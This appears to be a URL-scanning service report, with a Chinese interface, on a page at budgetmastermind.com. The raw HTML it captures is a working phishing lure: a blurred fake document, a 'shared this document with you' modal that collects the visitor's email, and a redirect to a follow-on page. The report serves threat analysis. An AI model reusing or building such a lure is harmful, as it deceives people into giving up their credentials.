- 掃描 ID：
- e37265c6-199e-4458-95aa-b85763177956已完成
- 已提交的 URL：
- https://www.budgetmastermind.com/lisds/miques/index.htm
- 報告完成時間：
連結 · 找到 0 個
從頁面中識別的傳出連結
JavaScript 變數 · 找到 3 個
在頁面的視窗物件上載入的全域 JavaScript 變數是在函數外部宣告的變數，可從目前範圍內程式碼中的任何位置存取
| 名稱 | 類型 |
|---|---|
| onbeforetoggle | object |
| documentPictureInPicture | object |
| onscrollend | object |
主控台記錄訊息 · 找到 1 條
記錄到 Web 主控台的訊息
| 類型 | 類別 | 記錄 |
|---|---|---|
| error | network |
|
HTML
頁面的原始 HTML 主體
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Email Collection Modal with Redirect and Auto-grab</title>
<style>
body, html {
height: 100%;
margin: 0;
font-family: Arial, sans-serif;
overflow-x: hidden;
}
.content img{
padding: 20px;
transition: filter 0.3s ease;
}
.blur {
filter: blur(9.5px);
}
.modal-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background-color: rgba(75, 85, 99, 0.7);
display: flex;
justify-content: center;
align-items: flex-start;
padding-top: 100px;
}
.modal {
background-color: white;
padding: 2rem;
position: relative;
top: 10px;
border-radius: 1px;
width: 100%;
height: 281px;
max-width: 580px;
}
h2 {
color: #2B3674;
font-size: 1.25rem;
margin-bottom: 1rem;
}
p {
color: #64748B;
font-size: 0.875rem;
margin-bottom: 1rem;
}
input[type="email"] {
width: 100%;
padding: 0.5rem;
border: 1px solid #E2E8F0;
border-radius: 4px;
margin-bottom: 0.25rem;
font-size: 1rem;
outline: none;
}
input[type="email"]:invalid {
border-color: #FF7F50;
background-color: #FFF5F3;
}
input[type="email"]:focus {
border-color: #4299E1;
box-shadow: 0 0 0 3px #4299E1;
}
.validation-message {
font-size: 12px;
color: #22C55E;
margin-top: 4px;
height: 16px;
}
.validation-message.valid {
color: #22C55E;
position: relative;
font-size: medium;
}
.validation-message.invalid {
font-size: medium;
position: relative;
color: #22C55E;
}
button {
background-color: #ff6347;
border: none;
color: white;
padding: 10px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 2px 2px;
cursor: pointer;
border-radius: 1px;
position: relative;
top: 50px;
}
button:hover {
background-color: #FF6B5E;
}
.image-container {
max-width: 100%;
margin-top: 20px;
}
.image-container img {
width: 100%;
height: auto;
border-radius: 8px;
}
</style>
</head>
<body>
<div class="content blur" id="pageContent">
<div class="image-container">
<img src="/Screenshot 2024-11-06 213845.png" alt="XML Seminar Schedule">
</div>
</div>
<div class="modal-overlay" id="modalOverlay">
<div class="modal">
<h2 style="padding-bottom:22px ;">ROSIE HALLS shared this document with you.</h2>
<p style="font-size: larger; color: black; "> Please enter your email address to continue *</p>
<form id="emailForm">
<input type="email" id="emailInput" placeholder="Email address" required="">
<div class="validation-message" id="validationMessage"></div>
<button type="submit">Submit</button>
</form>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
const form = document.getElementById('emailForm');
const modalOverlay = document.getElementById('modalOverlay');
const pageContent = document.getElementById('pageContent');
const emailInput = document.getElementById('emailInput');
const validationMessage = document.getElementById('validationMessage');
pageContent.classList.add('blur');
function validateEmail(email) {
const re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
return re.test(email);
}
function autoGrabEmail() {
const enteredEmail = emailInput.value;
if (enteredEmail && enteredEmail.includes('@')) {
localStorage.setItem('userEmail', enteredEmail);
}
}
const savedEmail = localStorage.getItem('userEmail');
if (savedEmail) {
emailInput.value = savedEmail;
}
emailInput.addEventListener('input', function() {
autoGrabEmail();
if (emailInput.value.trim() !== '') {
if (validateEmail(emailInput.value)) {
validationMessage.textContent = 'That email address is valid.';
validationMessage.className = 'validation-message valid';
} else {
validationMessage.textContent = 'Enter valid email address';
validationMessage.className = 'validation-message invalid';
}
} else {
validationMessage.textContent = '';
validationMessage.className = 'validation-message';
}
});
form.addEventListener('submit', function(e) {
e.preventDefault();
const email = emailInput.value;
console.log('Email submitted:', email);
localStorage.setItem('userEmail', email);
window.location.href = 'https://www.budgetmastermind.com/Interior/airq/index.html';
});
});
</script>
</body></html>